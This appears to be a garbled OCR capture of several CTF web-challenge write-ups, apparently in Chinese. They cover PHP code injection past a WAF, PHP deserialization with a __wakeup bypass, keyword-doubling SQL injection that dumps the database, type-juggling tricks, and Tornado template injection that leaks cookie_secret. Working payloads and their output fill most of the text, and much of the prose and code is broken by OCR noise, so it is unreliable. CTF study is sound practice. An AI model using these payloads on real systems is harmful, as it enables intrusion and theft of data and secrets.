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[RoarCTF 2019]Easy Calc

ARy &)

<?php
error_reporting(9);
if(lisset($_GET[ IDDR
show_source(__FILE_);
}else{
$str = $_GET[ 15
$blacklist [ ’

O )

foreach ($blacklist as $blackitem) {

if (preg_match( $blackitem
die(

3/calc.php?%20num=phpinfo()

PHP Version 7.0.30-Oubuntu0.16.04.1 ph‘

System

Linux 70d2cd272c21 4.19.164-0419164-generic #202012300642 SMP Wed Dec 30 12:21:09 UTC 20:
xB6 G4

Server APl Apache 2.0 Handler
Virtual Directory Support disabled
Configuration File (php.ini) Path fetc/php/T.0/apache2

Loaded Configuration File
Scan this dir for additional .ini files

fetc/phpy7 O/ apache2 fphpaini

fetc/php/T .0fapache2/contd

additicnal .ini files parsed

Sete/phpy 7.0/ apache2 fconld A 0-mysglnd ini, Jete/ phps7.0/apache2 fconld/10-opeache.ini,
Setc/phpy 70 apache feonld 10-pdodni, ..'r-lrlu'pf w7 Dfapache2/conld/20-calendarini,
fete/phps 7 Oyapache? feonfd L20-ctypedni, fete/phpf7 0 apache2 foeontd 20-curlin
fetefphpy 70 apache? feontd/20-exifini, fete/phpy 7 IJ.n'A|.\ache|""c‘\| Fup- ﬂ"U'uJ;» i J 'r’
Jetefphpy7 O/apache2 feonfd/20-fipdini, fete/phpy7. U;apacha)}?ﬁﬁ JU -gette: ‘ﬁ'

FERXBEUE—T, ZMEHEibwaf A 222 8 (5 =& php# i H & AT LA 2

ARBEFRTHAE XK, - scandir("/")[BR7HEIET, FrlERATHchr(47")580d



payload:?%20num=var_dump(scandir(chr(47)))

array(24) { [0]=> string(1) "." [1]=> string(2) "." [2]=> string(10) ".dockerenv" [3]=> string(3) "bin" [4]=> string(d) "boot" [5]=> string(3) "dev" [6]=> string(3) "etc" [7]=> string(5) "flagg" [8]=>
string(4) "home" [9]=> string(3) "lib" [10]=> string(5) "lib64" [11]=> string(5) "media" [12]=> string(3) "mnt" [13]=> string(3) "opt" [14]=> string(4) "proc” [15]=> string(4) "root" [16]=> string(3)
"run” [17]=> string(4) "sbin" [18]=> string(3) "srv" [19]=> string(8) "start.sh" [20]=> string(3) "sys" [21]=> string(3) "tmp" [22]=> string(3) "usr" [23]=> string(3) "var" }

SR 5 Eflag
payload:?%20num=file_get contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103))

chr(47).chr(102).chr(49).chr(97).chr(103).chr(103) = » /f1agg
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dirsearchid

./dirsearch.py -u http://887b5639-b212-41c1-92el-ede64684467d.node4.buuoj.cn:81/ -e php

17T 2 Ja%&&index.php

‘class.php’;
$select = $_GET['select'];

$res-unserialize($select);
?>

fEclass.phpH & Llgeth RiEZ A Eselect, I HRFFFIL XA select ) 74

FiRE Eclass.php &



error_reporting(9);

class Name{
private $username

private $password

public function _ construct($username, $password){
$this->username $username;

$this->password $password;

function _ wakeup(){

$this->username

function _ destruct(){

if ($this->password 100) {
echo
echo ;
echo $this->username;echo
echo ;
echo $this->password;echo
die();

}

if ($this->username
global $flag;
echo $flag;

}else{
echo
die();

A Husername=admin H.password=1004 <% thflag, (HRZEMEIMESIEwakeup R, &N <Husernamelt B Higuest

MAELEREHFIINEER

$a = new Name( , 100);
echo serialize($a)

0O:4:"Name”:2:{s:14:"Nameusername”;s:5:“admin”;s:14:“Namepassword”;i:100;}
B HEABOK T bRt wakeup &gk geid, A4 SRR
0O:4:"Name”:3:{s:14:"Nameusername”;s:5:“admin”;s:14:“Namepassword”;i:100;}

HRERFZE Rprivate XA, FrLAEM L %00 Curlgwidid /5, Sehr bR0x00, echofilift RERZEME%T, RITEFEH
/Il =P)

0:4:"Name”:3:{s:14:"%00Name%00username";s:5:“admin”;s:14:"%00Name%00password";i:100;}




payload: ?select=0:4:"Name”:3:{s:14:"%00Name%00username";s:5:“admin”;s:14:"%00Name%00password";i:100;}
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\ flag {47a3440c-684a—4a67-995b-024913699c 7}

MR TR, BEIRESERET

?username=admin&password=1+%27+union+select+1+%23

You have an error in your SQL syntax; check thesmanual that corresponds to your MariaDB server version for the right syntax to use near '1 #" at line 1

AT #, unionflselect#R#Rid i T &M
MERIA (replaceER T FHFRERESNE [REN] )

1’ uniunionon selselectect 1 #

The'used SELECT statemenfs h.ave a different number of columns

Lt T, (ERSIBRN
RESHIE A T

Hefio'2!"

5Tf‘c‘)ur péssword is '3’

THREEIL, BEBEERS

1’ uniunionon selselectect 1,version(),@@version_compile_os#

- Hello 10 3.18-MariaDB!

Your password is 'Linux’

ok



1’ uniunionon selselectect 1,database(),user()#

- Hello geekl

Your password is ‘root@localhost’

LHI R Ngeek, B— TR
1’ ununionion seselectlect 1,2,group_concat(schema_name)frfromom (infoorrmation_schema.schemata) #
Hello 2!

Your password is
information_schema,mysgl,performan
A1 —

RazlE, SBEEHHRE
BmRAY

1" ununionion seselectlect 1,group_concat(table_name),table_name frfromom infoorrmation_schema.tables whewherere
table_schema='geek’#

- Hello b4bsq| geekuser!
Vour password is "b4bsql'

13314

1’ ununionion seselectlect 1,2, group_concat(column_name) frfromom infoorrmation_schema.columns whwhereere
table_name='b4bsql'#

Helio 21

: gu'féur pésswérd is 'id,username,passworgd
i e s

JE T iRlovesqlfR 12 T
1" ununionion seselectlect 1,database(),group_concat(id,username,passwoorrd) frofromm b4bsql#

SRIEAR!



Hello g,e'ek !

Your password is
'1cl4y| want_te play 2077 23qlsql

[ACTF2020 37 4 #]BackupFile

Jdirsearch.py -u http://f17406d8-e02f-4041-b7d0-61291ea70c7f.node4 .buuoj.cn:81/ -e php

i Rindex.php.bak, T#HE|AHEFIFL

<?php
include_once

if(isset($_GET[ D) A
$key = $_GET[ 15
if(!is_numeric($key)) {

exit( )5

N
J

$key = intval($key);
$str

if($key $str) {
echo $flag;

get— M Ekey, MANERBFHRIMFFIFiexit, REREZENBHE, Wmikey==striikitifag

1B1235F GEER==)

flag{2689324b-d890-41fc-b454-c2e43892a81c}
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[flag.txt
/welcome. txt

/hints. txt

ENERINE:

flag in /f111111111111ag

render

md5 (cookie secret+md5(filename))

renderfZpythond ] —ANEZL R B, B2 —FER, B RANSEARRE, ERARKMR renderfic & Tornadof# A

TornadoA&—F Web AR 5525 84 I FFIRRR A . Tornado MILTERK) £ Web RS 2HESE (BFE KL H Python HHELE) HEHE
X5 ©RIERE RS2, B E A .

TEtornadoiik H, FZ7E— LT BA; 1) i PRIE T & ,3X B B & handler.settings, handler #& [\IRequestHandler, T
RequestHandler.settings X 1§ [ self.application.settings, FfLAhandler.settingsitig I

RequestHandler.application.settings T, X B 2 RATH — LA BT &
payload: error?msg={{handler.settings}}

‘cookie_secret’: '2785¢116-7f9e-43f7-a518-c414b3f67235’

Ailllag md5in#% f5 3bfof6cf685a6dd8defadabfb41a03a1
FEINE RE T AN

e0006bc385616bac0beedca48edce680

EREMR (FEAllllagi F ttif T R AR Forz)

BREN. - B, . 23T

/flllHag
flag{e28b6f99-ed27-48b0-bd33-012e5d191bbb}
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BEREITZEHICHE EF K password

FLAG NEED YOUR 100000000 MONEY

ATTENTION

If you want to buy the FLAG:
You must be a student from CUITI!!!

CSDN @1ZAYAK
You must be answer the correct password!!! el b ol Fal

& T BN

{/body>

o N N

post money and password
if (isset($ POST[ password’])) {
Spassword = § POST[ password’ ];
if (is_numeric ($password)) {
echo “password can’t be number</br>”;
Jelseif ($password == 404) {
echo “Password Right!</br>”;

CSDN @1ZAYAK

SRR LW, post—A-password=404aikik



v

) Execute .
:" Postdata [] Referer [ User Agent [J] Cookies Clear All

password=404a

hackbar& X M. - - M

POST /pay.php HTTP/1.1

Hose: Z05bcdeD-clBd-471la-h04c-dBI03502cebe. . noded. buuci.cn: Gl

Uger-Agent: Mozilla/5.0 (Windows NT 10.0: Wined: xe4: rv:i83.0) Gecko/20100101 Firsfow/93.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.5, image/avif, image/webp, */*;g=0.8
Aooepr-Languages: zh-CN, ghyqg=0.8, zh-TW:o=0.7, zh-HK: q=0.5,en-U5:¢=0.3,en:;q=0.2
Accept-Encoding: gzip, deflate

Contenc-Type: application/X-wiv-TLorm-utlencodsd

Content=Length: 13

Qrigin: hrep://I20Shedel-clBE-47la-b04c-dB8203982cebe. noded . buwol.cn: 81

Connection: keep-aliwve

Referer: hotp://205bedel-clBO-471a-b04c-dBI0398Icehe, nod=4.buuo).cn: 8L/ pay.php

Cookie: u=sesr=0

Upgrade-Insecure-Recguests: L

password=404a

l@ioooo

Only Cuit's students can buy the FLAG

userdUl 1R — T

e

you are Cuiter</br>Password Right!</br>Pay for the flag!'!'hacker!!!</br>

HRIBAusere AWM A2
AR R

iEEATER. o o FEII—money=100000000iKix

<hr />

<p>

you are Cuiter</br:Password Right!</br>Nember lenth is too long</br:
</n>

AH0.0, BheitHuE R

r;u are Cuiter</br>Password Right!</br>flag{55dacaf0-90e9-4235-934b-bb9b60fb833e}
</br>
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